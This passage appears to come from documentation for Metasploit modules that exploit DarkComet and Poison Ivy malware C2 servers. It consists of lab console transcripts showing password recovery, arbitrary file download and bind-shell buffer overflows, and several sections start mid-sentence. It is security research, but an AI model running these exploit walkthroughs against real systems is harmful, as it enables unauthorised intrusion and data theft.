(https://www.nccgroup.trust/globalassets/our-research/us/whitepapers/PEST-CONTROL.pdf), possibly affecting
earlier versions as well. The vulnerability can be exploited without knowledge of the secret key
by abusing a flaw in the cryptographic protocol to carry out a limited version of the exploit allowing
for key recovery after which the exploit can be used to download arbitrary files from a DarkComet C2 server.
See http://samvartaka.github.io/exploitation/2016/06/03/dead-rats-exploiting-malware
for details.
## Console output
Below is an example of the exploit running against versions 5.3.1 and 4.2F
(DarkComet C2 server password is set to 'darkcometpass' and unknown to attacker).
### Version 5.3.1 (unknown password)
```
msf > use auxiliary/gather/darkcomet_filedownloader
msf auxiliary(darkcomet_filedownloader) > show options
Module options (auxiliary/gather/darkcomet_filedownloader):
Name Current Setting Required Description
---- --------------- -------- -----------
BRUTETIMEOUT 1 no Timeout (in seconds) for bruteforce attempts
KEY no DarkComet RC4 key (include DC prefix with key eg. #KCMDDC51#-890password)
LHOST 0.0.0.0 yes This is our IP (as it appears to the DarkComet C2 server)
NEWVERSION true no Set to true if DarkComet version >= 5.1, set to false if version < 5.1
RHOST 0.0.0.0 yes The target address
RPORT 1604 yes The target port
STORE_LOOT true no Store file in loot (will simply output file to console if set to false).
TARGETFILE no Target file to download (assumes password is set)
msf auxiliary(darkcomet_filedownloader) > set RHOST 192.168.0.104
RHOST => 192.168.0.104
msf auxiliary(darkcomet_filedownloader) > set LHOST 192.168.0.102
LHOST => 192.168.0.102
msf auxiliary(darkcomet_filedownloader) > run
[*] 192.168.0.104:1604 - C2 server uses password [darkcometpass]
[*] 192.168.0.104:1604 - Storing data to loot...
[*] Auxiliary module execution completed
msf auxiliary(darkcomet_filedownloader) > set STORE_LOOT false
STORE_LOOT => false
msf auxiliary(darkcomet_filedownloader) > set KEY #KCMDDC51#-890darkcometpass
KEY => #KCMDDC51#-890darkcometpass
msf auxiliary(darkcomet_filedownloader) > set TARGETFILE C:\\secret.txt
TARGETFILE => C:\secret.txt
msf auxiliary(darkcomet_filedownloader) > run
[*] 192.168.0.104:1604 - omgsecret
[*] Auxiliary module execution completed
```
### Version 4.2F (unknown password)
```
msf > use auxiliary/gather/darkcomet_filedownloader
msf auxiliary(darkcomet_filedownloader) > show options
Module options (auxiliary/gather/darkcomet_filedownloader):
Name Current Setting Required Description
---- --------------- -------- -----------
BRUTETIMEOUT 1 no Timeout (in seconds) for bruteforce attempts
KEY no DarkComet RC4 key (include DC prefix with key eg. #KCMDDC51#-890password)
LHOST 0.0.0.0 yes This is our IP (as it appears to the DarkComet C2 server)
NEWVERSION true no Set to true if DarkComet version >= 5.1, set to false if version < 5.1
RHOST 0.0.0.0 yes The target address
RPORT 1604 yes The target port
STORE_LOOT true no Store file in loot (will simply output file to console if set to false).
TARGETFILE no Target file to download (assumes password is set)
msf auxiliary(darkcomet_filedownloader) > set RHOST 192.168.0.104
RHOST => 192.168.0.104
msf auxiliary(darkcomet_filedownloader) > set LHOST 192.168.0.102
LHOST => 192.168.0.102
msf auxiliary(darkcomet_filedownloader) > set NEWVERSION false
NEWVERSION => false
msf auxiliary(darkcomet_filedownloader) > run
[*] 192.168.0.104:1604 - Missing 1 bytes of keystream ...
[*] 192.168.0.104:1604 - Initiating brute force ...
[*] 192.168.0.104:1604 - C2 server uses password [darkcometpass]
[*] 192.168.0.104:1604 - Storing data to loot...
[*] Auxiliary module execution completed
msf auxiliary(darkcomet_filedownloader) > set KEY #KCMDDC42F#-890darkcometpass
KEY => #KCMDDC42F#-890darkcometpass
msf auxiliary(darkcomet_filedownloader) > set STORE_LOOT false
STORE_LOOT => false
msf auxiliary(darkcomet_filedownloader) > set TARGETFILE C:\\secret.txt
TARGETFILE => C:\secret.txt
msf auxiliary(darkcomet_filedownloader) > run
[*] 192.168.0.104:1604 - omgsecret
[*] Auxiliary module execution completed
```
in Poison Ivy versions 2.1.x (possibly present in older versions too) and doesn't
require knowledge of the secret key as it abuses a flaw in the cryptographic protocol.
Note that this is a different vulnerability from the one affecting versions 2.2.0 and up
(https://www.rapid7.com/db/modules/exploit/windows/misc/poisonivy_bof).
See http://samvartaka.github.io/exploitation/2016/06/03/dead-rats-exploiting-malware
for details.
## Console output
Below is an example of the exploit running against a 2.1.4 C2 server (PIVY C2 server password is
set to 'pivypass' and unknown to attacker).
### Version 2.1.4
```
msf > use windows/misc/poisonivy_21x_bof
msf exploit(poisonivy_21x_bof) > set RHOST 192.168.0.104
RHOST => 192.168.0.104
msf exploit(poisonivy_21x_bof) > check
[*] 192.168.0.104:3460 The target appears to be vulnerable.
msf exploit(poisonivy_21x_bof) > set PAYLOAD windows/shell_bind_tcp
PAYLOAD => windows/shell_bind_tcp
msf exploit(poisonivy_21x_bof) > exploit
[*] 192.168.0.104:3460 - Performing handshake...
[*] Started bind handler
[*] 192.168.0.104:3460 - Sending exploit...
[*] Command shell session 1 opened (192.168.0.102:56272 -> 192.168.0.104:4444) at 2016-06-03 12:34:02 -0400
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\winxp\Desktop\Poison Ivy\Poison Ivy 2.1.4\Poison Ivy 2.1.4>
```
module removing the need for bruteforce in the case of an unknown
server password by (ab)using the challenge-response as an encryption
oracle, making it more reliable. The vulnerability has also been confirmed
in versions 2.2.0 up to 2.3.1 and additional targets for these versions
have been added as well.
See http://samvartaka.github.io/malware/2015/09/07/poison-ivy-reliable-exploitation/
for details.
## Console output
Below is an example of the new functionality (PIVY C2 server password is
set to 'prettysecure' and unknown to attacker). Exploitation of versions 2.3.0 and 2.3.1
is similar.
### Version 2.3.2 (unknown password)
```
msf > use windows/misc/poisonivy_bof
msf exploit(poisonivy_bof) > set RHOST 192.168.0.103
RHOST => 192.168.0.103
msf exploit(poisonivy_bof) > check
[*] Vulnerable Poison Ivy C&C version 2.3.1/2.3.2 detected.
[*] 192.168.0.103:3460 - The target appears to be vulnerable.
msf exploit(poisonivy_bof) > set PAYLOAD windows/shell_bind_tcp
PAYLOAD => windows/shell_bind_tcp
msf exploit(poisonivy_bof) > exploit
[*] Started bind handler
[*] Performing handshake...
[*] Sending exploit...
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\winxp\Desktop\Poison Ivy\Poison Ivy 2.3.2>
```
### Version 2.2.0 (unknown password)
```
msf exploit(poisonivy_bof) > check
[*] Vulnerable Poison Ivy C&C version 2.2.0 detected.
[*] 192.168.0.103:3460 - The target appears to be vulnerable.
msf exploit(poisonivy_bof) > show targets
Exploit targets:
Id Name
-- ----
0 Poison Ivy 2.2.0 on Windows XP SP3 / Windows 7 SP1
1 Poison Ivy 2.3.0 on Windows XP SP3 / Windows 7 SP1
2 Poison Ivy 2.3.1, 2.3.2 on Windows XP SP3 / Windows 7 SP1
msf exploit(poisonivy_bof) > set TARGET 0
TARGET => 0
msf exploit(poisonivy_bof) > exploit
[*] Started bind handler
[*] Performing handshake...
[*] Sending exploit...
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\winxp\Desktop\Poison Ivy\Poison Ivy 2.2.0>
```
